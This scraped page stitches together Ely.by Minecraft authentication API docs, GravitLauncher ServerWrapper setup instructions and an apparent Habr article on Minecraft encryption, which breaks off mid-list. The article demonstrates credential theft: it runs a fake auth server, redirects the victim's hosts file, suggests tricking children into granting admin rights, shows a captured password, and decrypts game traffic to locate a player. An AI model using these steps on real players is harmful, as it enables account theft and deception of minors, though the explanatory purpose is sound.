Как узнать токен майнкрафт аккаунта
Перейти к содержимому

Как узнать токен майнкрафт аккаунта

  • автор:

Authentication for Minecraft¶

This article contains the information on authentication in Minecraft launchers and servers using the Ely.by authorization service.

The authentication protocol is implemented as similar as possible to the original Mojang authentication protocol, but nevertheless this documentation describes all available functions specifically of the Ely.by authentication service.

General Provisions¶

  • All requests must be made at URL https://authserver.ely.by.
  • If the request is successful, the server will return a response with status code 200. Any other code indicates an error.
  • The server always responds with JSON data, except for system errors and responses to legacy requests. Take this into account to display the correct error message to the user.
  • In the case of a standard error, you will receive the following data:
 "error": "Краткое описание ошибки", "errorMessage": "Более длинное описание ошибки на английском языке, пригодное для отображения пользователю." > 

Expected errors¶

In contrast to the original protocol, a smaller range of errors is used in Ely:

You passed an incomplete list of data to execute the request.

Carefully double-check what you send in the request and what is in the documentation.

User entered/developer sent incorrect values.

You need to display a notification to the user about incorrectly entered data.

A 404 status response is used to indicate a Not Found error.

Authentication in the launcher¶

This section describes authentication for the game launcher and describes the steps required to obtain an accessToken for the Minecraft game client. The authentication will result in a JWT token with minecraft_server_session access rights being received.

We recommend using the OAuth 2.0 authentication protocol and requesting minecraft_server_session access rights as that is a more secure and user-friendly method.

POST /auth/authenticate

Direct authentication of the user using their login (username or E-mail), password and two-factor authentication token.

  • username (string) – User’s nickname or their E-mail (preferable).
  • password (string) – User password or password:token combination.
  • clientToken (string) – A unique token of the user’s launcher.
  • requestUser (bool) – If the field is passed as true , the user field will be present in the server response.

The Ely.by accounts system supports additional user security with two-factor authentication. The Mojang’s authentication protocol doesn’t provide the possibility to pass TOTP tokens. To solve this problem and maintain compatibility with Yggdrasil’s server implementation, we suggest passing the token in the password field as password:token .

Unfortunately, not all users are aware of this feature, so it would be better to explicitly request the user’s token and concatenate it in the code when receiving an error about the user’s account being protected by two-factor authentication.

The logic is as follows:

    If the user has provided a valid username and password, but two-factor authentication is enabled for their account, you will receive a response with a 401 status and the following content:

 "error": "ForbiddenOperationException", "errorMessage": "Account protected with two factor auth." > 

If all data is passed correctly, you will receive the following response:

 "accessToken": "Длинная_строка_содержащая_access_token", "clientToken": "Переданный_в_запросе_client_token", "availableProfiles": [  "id": "UUID_пользователя_без_дефисов", "name": "Текущий_username_пользователя" > ], "selectedProfile":  "id": "UUID_пользователя_без_дефисов", "name": "Текущий_username_пользователя" >, "user":  /* Только если передан параметр requestUser */ "id": "UUID_пользователя_без_дефисов", "username": "Текущий_username_пользователя", "properties": [  "name": "preferredLanguage", "value": "ru" > ] > > 

POST /auth/refresh

Updates a valid accessToken . This request allows you to store not the client’s password, but only the saved accessToken value for an almost infinite ability to pass authentication.

  • accessToken (string) – A unique key obtained after authentication.
  • clientToken (string) – The unique identifier of the client with respect to which the accessToken was received.
  • requestUser (bool) – If the field is passed as true , the user field will be present in the server response.

The original protocol also passes the value of selectedProfile , but in Mojang’s implementation it doesn’t affect anything. Our authentication server implementation ignores this parameter and relies on accessToken and clientToken values.

If you receive any of the provided errors, you should re-request the user password and perform normal authentication.

 "accessToken": "Новая_длинная_строка_ содержащая_access_token", "clientToken": "Переданный_в_запросе_client_token", "selectedProfile":  "id": "UUID_пользователя_без_дефисов", "name": "Текущий_username_пользователя" >, "user":  /* Только если передан параметр requestUser */ "id": "UUID_пользователя_без_дефисов", "username": "Текущий_username_пользователя", "properties": [  "name": "preferredLanguage", "value": "ru" > ] > > 

POST /auth/validate

This request allows you to check whether the specified accessToken is valid or not. This request does not update the token or its lifetime, but only makes sure that it is still valid.

accessToken (string) – The access token received after authentication.

A successful response will be an empty body. An error will result in a 400 or 401 status. Example of server response when sending an expired token:

 "error": "ForbiddenOperationException", "errorMessage": "Token expired." > 

POST /auth/signout

This request enables the invalidation of all tokens issued to the user.

  • username (string) – User’s username or E‑mail (preferable).
  • password (string) – User’s password.

A successful response will be an empty body. Refer to the error field in the response body.

The request allows you to invalidate the accessToken. In case the passed token cannot be found in the token store, no error will be generated and you will receive a successful response.

  • accessToken (string) – A unique key obtained after authentication.
  • clientToken (string) – The unique identifier of the client with respect to which the accessToken was received.

A successful response will be an empty body. Refer to the error field in the response body.

Authentication on the server¶

These requests are executed directly by the client and server using internal code or the authlib library (since version 1.7.2). They are only relevant if you have already authorized and run the game with a valid accessToken. You only need to replace the paths inside the game/library with the paths below.

Since you cannot directly change anything in authlib or the game, the values passed and server responses are not given here. If necessary, you can find this information yourself on the internet.

Via authlib¶

This part of the documentation describes the requests executed via authlib in game version 1.7.2+. For older versions, see the section below.

All requests in this category are executed on the /session sublayer. Each request is preceded by the type of request to be sent.

A request to this URL is sent by the client at the time of connection to the server that has online-mode=true.

The request to this URL is sent by the server that has online-mode=true after the client tries to connect to it completes the join request. The textures will be signed with the Ely.by key.

The signature verification key can be obtained from the skins system .

In rare cases the signature property will have the value Cg== . If the signature field has such value, there is no need to verify it, because it will always be incorrect.

For older versions¶

This part of the documentation describes requests sent by older versions of Minecraft where the Authlib library wasn’t used. These include all versions below 1.7.2.

All requests in this category are executed on the /session/legacy sublayer. Each request is preceded by the type of request to be sent.

The principle of processing these requests is the same as for authlib, the only difference is in the input parameters and return values.

A request to this URL is sent by the client at the time of connection to the server that has online-mode=true.

The request to this URL is sent by the server that has online-mode=true after the client trying to connect to it successfully completes the join request.

It is important not to forget the GET parameter ?user= at the end of both requests to get the following URLs: http://minecraft.ely.by/session/legacy/hasJoined?user= .

Single player¶

In essence, a single-player game is a local server created for a single player. At least it has been so since version 1.6, in which the local server mechanism was introduced.

However, the following request is relevant only for Minecraft 1.7.6+, when Authlib started to be used for loading skins.

A request to this URL is sent by the client in a single-player game on a local server (created through the game itself). The UUID of the user with whom the client was launched is passed to the URL, and the response is information about the player’s textures in the same format as the hasJoined request.

Prebuilt Authlib libraries¶

Ely.by supports the authlib-injector library. This is the simplest and most universal way to install the authentication system in the game and its servers. For details, see :doc:` the corresponding documentation section `.

Since manual implementation has difficulties in finding sources, connecting dependencies and finally compiling the result, on the download page of our skin system you can download pre-built libraries with all necessary modifications. Select the desired version from the drop-down list and follow the installation instructions on the same page below.

In earlier versions of the game, the skin system was inside the game client, so the libraries below only provide authentication:

  • Minecraft 1.7.5 — authlib 1.3.1
  • Minecraft 1.7.2 — authlib 1.3

To install, you need to replace the original library located at /libraries/com/mojang/authlib/ . Make sure that the versions of the already present and replacement files match.

Installing Authlib on a server¶

The server also uses authlib to perform player authentication, so the appropriate changes should be applied to it as well. Below are instructions on how to install authlib for different Minecraft server implementations.

If none of the instructions below work for your server implementation, please create a new issue and we will append the instructions for your server.

Vanilla server¶

Use an archiver to open the server file minecraft_server.VERSION.jar . In the same way, open the archive with authlib for the corresponding server version. You will see two windows in front of you: one with the server files, the other with the authlib files. You need to “drag and drop” all files and folders from the authlib archive, except for the META-INF directory, and confirm the replacement.

Процесс установки Authlib

Please note: you should “drag and drop” the content below the server folders (into the .class file area). ¶

After these steps, you can close both windows and set online-mode=true in the server.properties file.

Bukkit/Spigot¶

First perform the installation as described for the original server. Then download the libraries commons-io and commons-lang3, and then move the contents of the downloaded archives into the server files in the same way as authlib.

Forge/Sponge¶

Before performing the installation, it is necessary to determine which file is to be modified:

  • >=1.16: `libraries/net/minecraft/server/VERSION-DIGITS/server-VERSION-DIGITS-extra.jar .
  • 1.13-1.15: `libraries/net/minecraft/server/VERSION/server-VERSION-extra.jar .
  • : minecraft_server.VERSION.jar .

When the required file is found, perform an authlib installation for it, similar to original server.

Paper (PaperSpigot)¶

Installation is done similarly to Bukkit/Spigot `_ into the «cache/patched-VERSION.jar file. After making changes, the server must be started via the jar file from the cache directory, because otherwise Paper will restore the original state of the file:

Before: java -jar paper-VERSION-BUILD.jar
After: java -jar cache/patched-VERSION.jar

BungeeCord¶

You can use the authlib-injector library to install the authentication system without modifying the server internals.

Although BungeeCord is a proxy server, it performs player authentication on its own. Unfortunately, BungeeCord does not rely on Authlib, but implements the authentication process by itself, so you will need to modify the compiled .class files to install the Ely.by authentication system.

Follow the instructions below to install:

  1. Download the InClassTranslator program (we don’t give direct links, but it’s easy to find).
  2. Use an archiver to open the BungeeCord.jar file.
  3. Go to the path net/md_5/bungee/connection and find there the file InitialHandler.class (without any $ symbols).
  4. Unpack this file. In the simplest case you can do it by simply “pulling” it out of the archiver window.
  5. Open the extracted file in the InClassTranslator program and replace the line https://sessionserver.mojang.com/session/minecraft/hasJoined?username= with https://authserver.ely.by/session/hasJoined?username= as shown in the figure below:

Редактирование в InClassTranslator

Перетаскивание отредактированного файла назад в архив

After performing these steps, you can specify the value online_mode=true in the BungeeCord configuration file ( config.yml ).

We also recommend performing an Authlib installation on all servers behind BungeeCord. This may be necessary for plugins that use the Mojang API. Instructions for installing on proxied servers are given above.

All servers must have online-mode=false in their configuration ( server.properties ), since users are already authorized by BungeeCord.

Installation on versions below 1.7.2¶

For older versions there are quite a large variety of different cases, and it is not possible to cover them in this documentation. The whole setup consists of replacing certain strings in certain classes via InClassTranslator.

There is a great post on the RuBukkit forum, which contains all the necessary information on class names on different versions of Minecraft. There is no point in retyping it here, so just go to its page and find the right version.

Installation example¶

Suppose you want to install authentication on a server with version 1.5.2.

First you follow the link above, select the version you want (1.5.2) and see the list of classes:

  • bdk.class — path to joinserver
  • jg.class — path to checkserver

Then you have to take the .jar file of the client and open it with any archiver. After that you need to find the bdk.class file. For this purpose it is convenient to use search.

Once you have found the file, you need to extract it from the archive — just drag and drop it from there to a convenient dirctory.

Next, run InClassTranslator and open this class in it. On the left will be a list of lines found in the file, which you can change. You only need to change the line responsible for the request to connect to the server:

Порядок редактирования: выбрать нужную строку, изменить, сохранить.

After that, you need to put the modified .class back into the game’s .jar file.

You need to perform the same operation with the server, only replace the reference with hasJoined.

After these actions you need to enable online-mode=true in the settings and the server will allow only those players who will be authorized through Ely.by.

© Copyright 2024, Ely.by.

Привязка сервера Minecraft

Для привязки ServerWrapper к вашему серверу выполните следующие действия:

Создание токена для сервера

  • Откройте ЛаунчСервер и введите команду token server HiTech , где HiTech — название вашего сервера. Скопируйте получившийся токен.
token server profile-title> [auth-id] 
Options: profile-title> Title имя профиля клиента [default: null] [auth-id] Опциональное значение Auth ID [default: (Первый AuthId)] 
  • Перейдите в папку с вашим сервером, скопируйте туда ServerWrapper.jar из артефактов сборки и выполните команду java -jar ServerWrapper.jar setup
  • Укажите название jar файла вашего серверного ядра, название сервера, адрес ЛаунчСервера и токен, полученный на первом этапе
  • Обязательно включите online-mode=true в вашем server.properties

Дальнейшие действия зависят от вашего серверного ядра

  • Для привязки сервера с Fabric 0.14.X и выше не забудьте пропатчить или взять с клиента библиотеку fabric-loader (место ее расположения — libraries/net/fabricmc/fabric-loader/%VERSION%/fabric-loader-%VERSION%.jar)
  • Правильно указывайте имя сервера при установке ServerWrapper. Имя сервера — это название сервера в поле servers вашего профиля. По умолчанию название первого сервера совпадает с title профиля
  • Привязка нескольких серверов по одному токену возможна, только если эти сервера относятся к одному профилю
  • При смене ключей ЛаунчСервера (например, при настройке заново на новом хостинге) или authId вам необходимо обязательно пересоздать токен сервера
  • Для запуска сервера 1.19.1 и выше нужно установить параметр enforce-secure-profile в false в файле server.properties

Привязка прокси

Прокси серверы напрямую обращаются к серверам Mojang, минуя AuthLib, поэтому вы должны пропатчить их

Привязка дополнительных средств

  • Скопируйте ServerWrapper.jar в папку с сервером/прокси
  • Привяжите с помощью ServerWrapper как обычно
  • Удалите mainclass из конфигурации ServerWrapper

Использование installAuthlib

Для привязки всех остальных ядер (в том числе находящихся за прокси) необходимо заменить AuthLib. Начиная с версии 5.2.13 вы можете привязать AuthLib к серверу одной командой:

[ По ссылке ] [ Локально ]

[ 1.7.10 — 1.16.3 ] [ 1.16.4 — 1.17.x ] [ 1.18.x ] [ 1.19 ] [ 1.19.1 — 1.19.4 ] [ 1.20 — 1.20.1 ] [ 1.20.2 ]

Скопируйте ссылку на LauncherAuthlib для вашей версии Minecraft и выполните команду

java -jar ServerWrapper.jar installAuthlib https://mirror.gravitlauncher.com/5.5.x/authlib/LauncherAuthlib1.jar 

Скопируйте ссылку на LauncherAuthlib для вашей версии Minecraft и выполните команду

java -jar ServerWrapper.jar installAuthlib https://mirror.gravitlauncher.com/5.5.x/authlib/LauncherAuthlib2.jar 

Скопируйте ссылку на LauncherAuthlib для вашей версии Minecraft и выполните команду

java -jar ServerWrapper.jar installAuthlib https://mirror.gravitlauncher.com/5.4.x/compat/authlib/LauncherAuthlib3.jar 

Скопируйте ссылку на LauncherAuthlib для вашей версии Minecraft и выполните команду

java -jar ServerWrapper.jar installAuthlib https://mirror.gravitlauncher.com/5.4.x/compat/authlib/LauncherAuthlib3-1.19.jar 

Скопируйте ссылку на LauncherAuthlib для вашей версии Minecraft и выполните команду

java -jar ServerWrapper.jar installAuthlib https://mirror.gravitlauncher.com/5.5.x/authlib/LauncherAuthlib3.jar 

Скопируйте ссылку на LauncherAuthlib для вашей версии Minecraft и выполните команду

java -jar ServerWrapper.jar installAuthlib https://mirror.gravitlauncher.com/5.5.x/authlib/LauncherAuthlib4.jar 

Скопируйте ссылку на LauncherAuthlib для вашей версии Minecraft и выполните команду

java -jar ServerWrapper.jar installAuthlib https://mirror.gravitlauncher.com/5.5.x/authlib/LauncherAuthlib5.jar 

Скопируйте AuthLib с клиента в любое удобное для вас место и пропишите команду

java -jar ServerWrapper.jar installAuthlib ПутьКAuthlib 

Перед привязкой запустите сервер, подождите, пока он полностью запустится и остановите его

Для 1.12.2 forge/sponge дополнительно замените launchwrapper

открыть в новом окне файл в libraries/net/minecraft/launchwrapper/1.12/launchwrapper-1.12.jar с заменой

Установка командой Wget

wget --show-progress -q -O ./libraries/net/minecraft/launchwrapper/1.12/launchwrapper-1.12.jar https://mirror.gravitlauncher.com/5.5.x/libraries/launchwrapper-1.12-5.5.x.jar 

Ручная установка AuthLib

Для привязки всех остальных ядер (в том числе находящихся за прокси) необходимо заменить AuthLib. Каждое ядро реализует процесс своего старта по-своему, поэтому если одна инструкция не подходит, попробуйте другую.

[ Classpath ] [ Jar ] [ Library ] [ MinecraftExtra ] [ Pack ]

Скопируйте AuthLib в папку с ServerWrapper’ом и измените ваш setup.sh: -cp ServerWrapper.jar:server.jar pro.gravit.launcher.server.ServerWrapper замените на -cp authlib-XXXX.jar:ServerWrapper.jar:server.jar pro.gravit.launcher.server.ServerWrapper

Примеры ядер: Forge 1.7.10, Vanilla до 1.18

Распакуйте содержимое AuthLib клиента в временную папку. Откройте jar файл вашего ядра или сервера minecraft (если разделены) архиватором и скопируйте с заменой файлы, распакованные на предыдущем этапе

Примеры ядер: Forge/Sponge до 1.16.5, Fabric/Vanilla до 1.18

Скопируйте файл вашего AuthLib по пути libraries/com/mojang/ВЕРСИЯ/authlib-ВЕРСИЯ.jar с заменой

Распакуйте содержимое AuthLib клиента в временную папку. Откройте файл libraries/net/minecraft/server/ВЕРСИЯ/server-ВЕРСИЯ-extra.jar архиватором и скопируйте с заменой файлы, распакованные на предыдущем этапе

Примеры ядер: Forge 1.16.5

Откройте файл вашего сервера и скопируйте authlib-ВЕРСИЯ.jar целиком в META-INF/libraries/com/mojang/authlib/ВЕРСИЯ с заменой

Примеры ядер: Vanilla 1.18+

Для 1.12.2 forge/sponge дополнительно замените launchwrapper

открыть в новом окне файл в libraries/net/minecraft/launchwrapper/1.12/launchwrapper-1.12.jar с заменой

Установка командой Wget

wget --show-progress -q -O ./libraries/net/minecraft/launchwrapper/1.12/launchwrapper-1.12.jar https://mirror.gravitlauncher.com/5.5.x/libraries/launchwrapper-1.12-5.5.x.jar 

Конфигурация ServerWrapper

 "address": "ws://address:port/api", // Адрес ЛаунчСервера "serverName": "Vanilla", // Название сервера в профиле "autoloadLibraries": false, // Автозагрузка библиотек из папки libraries "classpath": [], // Дополнительный classpath (1.18+) "classLoaderConfig": "LAUNCHER", // Системные аргументы запуска "mainclass": "net.fabricmc.loader.impl.launch.server.FabricServerLauncher", // Main-Class вашего ядра сервера "nativesDir": "natives", "args": ["nogui"], // Аргументы запуска "oauthExpireTime": 0, "extendedTokens":  // Токены доступа "checkServer":  "token": "TOKEN", "expire": 0 > >, "env": "STD", "moduleConf":  "modules": [], "modulePath": [], "exports": >, "opens": >, "reads": > >, "encodedServerRsaPublicKey": "KEY", "encodedServerEcPublicKey": "KEY", "enableHacks": false, "properties": > > 

Разбор шифрования в Minecraft

Привет. Знаете про Minecraft? Да-да это та самая нашумевшая игра из 2014 про кубики, дракона и злых школьников, которые объединились в невероятной амальгаме. В игре есть как singleplayer, так и multiplayer. Но что шифровать в одиночке? (Хотя идея защитить свою карту паролем, чтобы негодяи не убили вашего верного пса, довольно заманчива).

верный пёс

Сегодня я расскажу про то, как работает шифрование в многопользовательском режиме. Но сначала нужно определиться с инструментарием.
Вот что я буду использовать:

  1. MCWP MITM прокси для исследования протокола майнкрафт.
  2. yggdrasil-server Сервер авторизации, похожий на тот что использует mojang для лицензионных аккаунтов. И да, все команды приведены для Windows.

Протокол майнкрафт

Мультиплеер майнкрафт построен на клиент-серверной архитектуре поверх tcp. По официальным данным начиная с версии 1 (до этого были еще альфа и бета) сетевая подсистема игры построена на фреймворке Netty (Java).
Если сильно упростить, то роли клиента и сервера сведены к выполнению в цикле этих действий:

Для клиента
  • Подключается к серверу
  • Подтверждает свой юзернейм (если сервер отправит Encryption Request)
  • Загружает и рисует карту
  • Перемещается по карте и отправляет свою позицию
  • Взаимодействует с остальными миром и отправляет события на сервер
  • Получает и проигрывает события от сервера
Для сервера
  • Принимает игроков
  • Проверяет их юзернеймы (если online-mode: true)
  • Генерирует карту и отправляет клиентам
  • Получает события и позицию от игроков и передает другим игрокам

Как устроены аккаунты в Minecraft

Майнкрафт — платная игра. И основной причиной использования криптографии в ней была именно аутентификация, то есть определение лицензионных игроков и подтверждение их доступа. А шифрование было уже бонусом.

И хотя игра может работать без лицензии (изначально этот режим создавался для игры без доступа к сети интернет, когда нельзя проверить подлинность игрока, и называется в файлах конфигурации online-mode: false) без аутентификации пользователя шифрование не включается.

Кстати, сам Notch (создатель игры) говорил про пиратов так: «Качайте пиратку. Если она все также будет нравиться Вам в будущем, когда Вы сможете позволить ее себе, тогда и купите. Также не забудьте почувствовать себя плохо;)».

создатель майнкрафт

Лицензионной копией считается та, которая была куплена на сайте разработчика и имеет аккаунт Mojang (или Microsoft). А также привязанный к этому аккаунту uuid. UUID — это уникальный идентификатор каждого из игроков майнкрафт. Он не меняется даже после смены никнейма в игре.

Процесс обмена информацией с реестром аккаунтов (сервером аутентификации и авторизации) начинается еще задолго до подключения к серверу.

Рассмотрим поэтапно:
  1. Игрок заходит в лаунчер(программа для запуска игры)
  2. Игрок вводит пароль и логин от аккаунта
  3. Лаунчер отправляет их на сервер и если они верны получает токен
  4. Лаунчер хранит и обновляет токен при каждом входе в игру

Могу я украсть ваш аккаунт?

Уже заметили? Лаунчер отправляет логин и пароль игрока на сервер. Да, через https, но что нам мешает узнать логин и пароль подменив сервер авторизации? Так и поступим.
Разворачиваем yggdrasil-server:
Потребуется Python 3.8+

// Клонируем репозиторий git clone https://gitlab.com/seeklay/yggdrasil-server.git cd yggdrasil-server/
// Разрешаем и устанавливаем зависимости python3 -m pip install -r requirements.txt
// Запускаем свой сервер авторизации + сервер сессий sanic --cert x509/fullchain.crt --key x509/cert.key -d -p 443 server.app

Теперь нужно заставить лаунчер жертвы доверять нашему tls сертификату. Раньше, лаунчер был, как и сама игра просто .jar файлом и заполучить его доверие можно было так же просто, как и клиента игры, но теперь лаунчер это нативная .exe программа которая использует корневые сертификаты системы. Углубляться в то, как креативно можно заставить жертву понажимать пару неизвестных кнопок не будем, но посчитаем что этот этап уже пройден. Тогда остается направить запросы на наш сервер. Например, изменя ip домена authserver.mojang.com на ip собственного сервера в файле hosts.

Теперь, когда жертва захочет зайти в игру, она разлогинится в лаунчере, так как сессия не зарегистрирована на нашем сервере. И клиенту придется ввести логин и пароль от его аккаунта. Когда это произойдет, в консоли сервера авторизации мы увидим это:

[DEBUG] AuthenticateRequest( agent=AuthenticateRequestAgent(name='Minecraft', version='1'), username='habr', password='newjersey', clientToken='4feb4d1fe82446d2aa4eb3d20f8c9ffd', requestUser='true') [INFO] attempt to authenticate as habr but user not exists

В дебаг логе видно данные учетной записи. Атака удалась. А игрок так и не смог войти в лаунчер, так как такого пользователя на нашем сервере не было.
Да, это выглядит интересно, но как заставить игрока установить корневой сертификат и отредактировать hosts?
Игроки майнкрафт в основном — дети и обмануть их проще всего. Хочешь скачать новый мод на слона в майнкрафт? Скачай наш .exe нажми два раза и при запросе прав администратора нажми — да, и все слон — твой, а точнее кот в мешке.
Но да, это по сути глупость ведь попадя на компьютер пользователя и получив права администратора можно сделать гораздо ‘больше’.

Я никого не призываю кого-либо взламывать или обманывать таким или любым другим способом. Вся ответственность за интерпретацию этого текста как побуждения к действию лежит на вас.

Могу я узнать местоположение ваших алмазов?

Хорошо, мы узнали, что можно подменить сервер авторизации. Но что, если подменить сервер аутентификации (сервер сессий) который отвечает за подтверждение того, что игрок с конкретным uuid и никнеймом входит на сервер?

Для этого потребуется локальный игровой сервер, но его установку я показывать не буду. Также потребуется лицензионный аккаунт (ну да), или «локальный» на yggdrasil-server.
Чтобы увидеть, какими пакетами обмениваются сервер и клиент, воспользуемся mcwp.
Python 3.7+

// Устанавливаем MCRP python3 -m pip install MCRP
// Запускаем MTIM прокси mcwp -v -c examples\conf_blacklist.yaml

Заходим на порт прокси, и видим в консоли такую картину:

[02/24/2023 02:15:12 PM] [INFO] MCRP: Waiting for client connection. [02/24/2023 02:15:14 PM] [INFO] MCRP: New client, creating connection to the server [02/24/2023 02:15:14 PM] [INFO] MCRP: Connected to the server [02/24/2023 02:15:14 PM] [INFO] MCRP: Reseting state to Handshaking [02/24/2023 02:15:14 PM] [INFO] root: ServerBound Handshaking.Handshake(ProtoVer=47, ServerName='lc', ServerPort=25565, NextState=NextState.Login) [02/24/2023 02:15:14 PM] [INFO] MCRP: State changed to state.Login, trying to load protocol v47 [02/24/2023 02:15:14 PM] [INFO] MCRP: Successfuly loaded protovol v47 [02/24/2023 02:15:14 PM] [DEBUG] root: Selected proto version is: 47, building filter. [02/24/2023 02:15:14 PM] [DEBUG] root: Filtering mode: ClB: blacklist / SvB: blacklist, filtered packets: [02/24/2023 02:15:14 PM] [INFO] root: ServerBound ClassicLogin.LoginStart(Username='m7') [02/24/2023 02:15:14 PM] [INFO] root: ClientBound ClassicLogin.EncryptionRequest(ServerID='', PublicKey=b'0\x81\x9f0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x81\x8d\x000\x81\x89\x02\x81\x81\x00\x94\xcb\xd0\xb1\xf0\x99\xd6\x99m\xe5\x00\xb14\'>\xb3\xbf\x94\xcd\x14z~\x10\xdf2\t6%\x1anh\xc9\x18\x10\xf03\xd9@0!9

Что мы видим? Сервер посылает запрос на включение шифрования, и клиент на него отвечает, а затем они оба включают симметричное шифрование AES.
После включения шифрования mcwp уже не показывает дальнейший обмен пакетами, так как не может их расшифровать, ведь не знает ключ.
Но так у меня нет лицензионного аккаунта майнкрафт, и аккаунт m7 зарегистрирован локально на сервере yggdrasil-server и сервер тоже использует этот сервер аутентификации, мы можем расшифровать это соединение загрузив в mcwp модуль для локальной дешифровки.

Попробуем еще раз:

// Запускаем с модулем дешифровки (требуется версия mcwp >= 0.1.7-pre1) mcwp -c examples\conf_blacklist.yaml -v -d md -ll

И сразу видим отличия в логе инициализации:

[02/24/2023 02:22:30 PM] [INFO] MCRP: Running MCRP v0.1.7-pre1 (cubelib version 1.0.4-pre1) [02/24/2023 02:22:30 PM] [INFO] MCRP: Proxying config is: 127.0.0.1:25565 -> 127.0.0.1:25575 [02/24/2023 02:22:30 PM] [INFO] MCRP: Using protocol decryptor: Yggdrasil-Server-DecMod/v0.1 [02/24/2023 02:22:30 PM] [DEBUG] MCRP/CRYPTO: Generating 1024 RSA key. [02/24/2023 02:22:30 PM] [INFO] MCRP: Registred direct handlers list[1]: [02/24/2023 02:22:30 PM] [INFO] MCRP: [02/24/2023 02:22:31 PM] [INFO] MCRP: Registred relative handlers list[0]: [02/24/2023 02:22:31 PM] [DEBUG] MCRP: Entering mainloop [02/24/2023 02:22:31 PM] [INFO] MCRP: Waiting for client connection. 

Видно что используется дешифратор протокола и был сгенирирован ключ RSA.
Подключаемся еще раз и смотрим в консоль:

[02/24/2023 02:22:31 PM] [INFO] MCRP: Waiting for client connection. [02/24/2023 02:24:52 PM] [INFO] MCRP: New client, creating connection to the server [02/24/2023 02:24:52 PM] [INFO] MCRP: Connected to the server [02/24/2023 02:24:52 PM] [INFO] MCRP: Reseting state to Handshaking [02/24/2023 02:24:52 PM] [INFO] root: ServerBound Handshaking.Handshake(ProtoVer=47, ServerName='lc', ServerPort=25565, NextState=NextState.Login) [02/24/2023 02:24:52 PM] [INFO] MCRP: State changed to state.Login, trying to load protocol v47 [02/24/2023 02:24:52 PM] [INFO] MCRP: Successfuly loaded protovol v47 [02/24/2023 02:24:52 PM] [DEBUG] root: Selected proto version is: 47, building filter. [02/24/2023 02:24:52 PM] [DEBUG] root: Filtering mode: ClB: blacklist / SvB: blacklist, filtered packets: [02/24/2023 02:24:52 PM] [INFO] root: ServerBound ClassicLogin.LoginStart(Username='m7') [02/24/2023 02:24:52 PM] [INFO] root: ClientBound ClassicLogin.EncryptionRequest(ServerID='', PublicKey=b'0\x81\x9f0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x81\x8d\x000\x81\x89\x02\x81\x81\x00\x94\xcb\xd0\xb1\xf0\x99\xd6\x99m\xe5\x00\xb14\'>\xb3\xbf\x94\xcd\x14z~\x10\xdf2\t6%\x1anh\xc9\x18\x10\xf03\xd9@0!9\xea\xc1\xf27u\xba\x82q\xc4y\xdf\xab\xa4\xee\xe3\xe8!N\x1dgi^\xa9\x16\xd2\x0cL?\x89Nb9\xf3\xffE\r\xd2a\x8dk\xc4\x89/S", VerifyToken=b'x^\xea\x8e\x14Q4a\x08\xd4\xe9\xcb\xb2t\x0eZO\xd0\x92(YdL\xdf\x12\x90\xd6\xe6g\x93\x156\xc8\xdb\xf0\xc3m\xf4\xb8\xf7\xaa\xd0\x10\xc4?\xee\x8f\\5\xe3\rn\xa7m#6 \xf3kz\x91Y\x84#\xc0PC\xc5\xc1\xb4r\xdd\xf7\xeb\r>)\xcc\x06\xd0\x18*-OU\xb0\t\x9a@\xb0\xca\x0c\xdb\xa7c\xd7\x82\x83\x02\x91\xc2\x89\xbe\xcf\x06\xf0\x1f\x0b\x8b1\xcb\xc9\xf6a1\xa1\xae\x0b6\x0f\xd0\x9a\x92\xa31\xca\xdcZ') -2c7e3678d40eeed418b5a9aa77351bfa0aacf01f -ca65db73b3f1b81bdc337f7cc70b433703a0e98 [02/24/2023 02:24:53 PM] [DEBUG] urllib3.connectionpool: Starting new HTTPS connection (1): sessionserver.mojang.com:443 C:\Python\Python3\lib\site-packages\urllib3\connectionpool.py:1020: InsecureRequestWarning: Unverified HTTPS request is being made to host 'sessionserver.mojang.com'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html#ssl-warnings InsecureRequestWarning, [02/24/2023 02:24:53 PM] [DEBUG] urllib3.connectionpool: https://sessionserver.mojang.com:443 "POST /hjk HTTP/1.1" 204 0 [02/24/2023 02:24:53 PM] [INFO] MCRP: Protocol encryption is set, but you provided a shared secret [02/24/2023 02:24:53 PM] [INFO] MCRP: Shared secret: 46b55ab74e3e950a62fe96d99de2a420 [02/24/2023 02:24:53 PM] [INFO] root: ClientBound ClassicLogin.SetCompression(Threshold=256) [02/24/2023 02:24:53 PM] [INFO] MCRP: Point of switching-on compression with threshold 256 [02/24/2023 02:24:53 PM] [INFO] root: ClientBound ClassicLogin.LoginSuccess(UUID='917cd927-86a2-42cd-b7b0-b1838ea4c933', Username='m7') [02/24/2023 02:24:53 PM] [INFO] MCRP: State changed to state.Play [02/24/2023 02:24:53 PM] [INFO] root: ClientBound Play.JoinGame(EntityID=114, Gamemode=1, Dimension=0, Difficulty=1, MaxPlayers=20, LevelType='default', ReducedDebugInfo=False) [02/24/2023 02:24:53 PM] [INFO] root: ClientBound Play.PluginMessage(Channel='MC|Brand', Data=b'\x06Spigot') [02/24/2023 02:24:53 PM] [INFO] root: ClientBound Play.ServerDifficulty(Difficulty=1) [02/24/2023 02:24:53 PM] [INFO] root: ClientBound Play.SpawnPosition(Location=(-1, -1, -1)) [02/24/2023 02:24:53 PM] [INFO] root: ClientBound Play.PlayerAbilities(Flags=15, FlyingSpeed=0.05000000074505806, FOVModifier=0.10000000149011612) [02/24/2023 02:24:53 PM] [INFO] root: ClientBound Play.HeldItemChange(Slot=0) [02/24/2023 02:24:53 PM] [INFO] root: ClientBound Play.Statistics(Count=0, Data=b'') [02/24/2023 02:24:53 PM] [INFO] root: ClientBound Play.ChatMessage(Json_Data='<"extra":[<"color":"yellow","text":"m7 joined the game">],"text":"">', Position=1)

Теперь мы видим все пакеты, которые передаются между клиентом и сервером (локальным сервером, который использует наш 'игрушечный' сервер авторизации).
Видя все пакеты, теперь мы можем отслеживать местоположение игрока и узнать где его дом. (ну и забрать алмазы конечно)

Разбор шифрования в Minecraft

Как работает шифрование в майнкрафт и как его можно расшифровать.
У протокола майнкрафт есть 3 состояния: Рукопожатие, Вход в игру, Игра.

Рассмотрим поближе что и кому отсылают сервер и клиент во время входа в игру:

  • Client -> Server: ClassicLogin.LoginStart(Username='m7')
    Клиент передает юзернейм, с которым хочет войти
  • Client Сервер передает свой публичный ключ и токен проверки
  • Client -> SessionServer: SessionJoin(accessToken, selectedProfile, serverId)
    Клиент передает на сервер сессий информацию о сервере к которому собирается подключится.

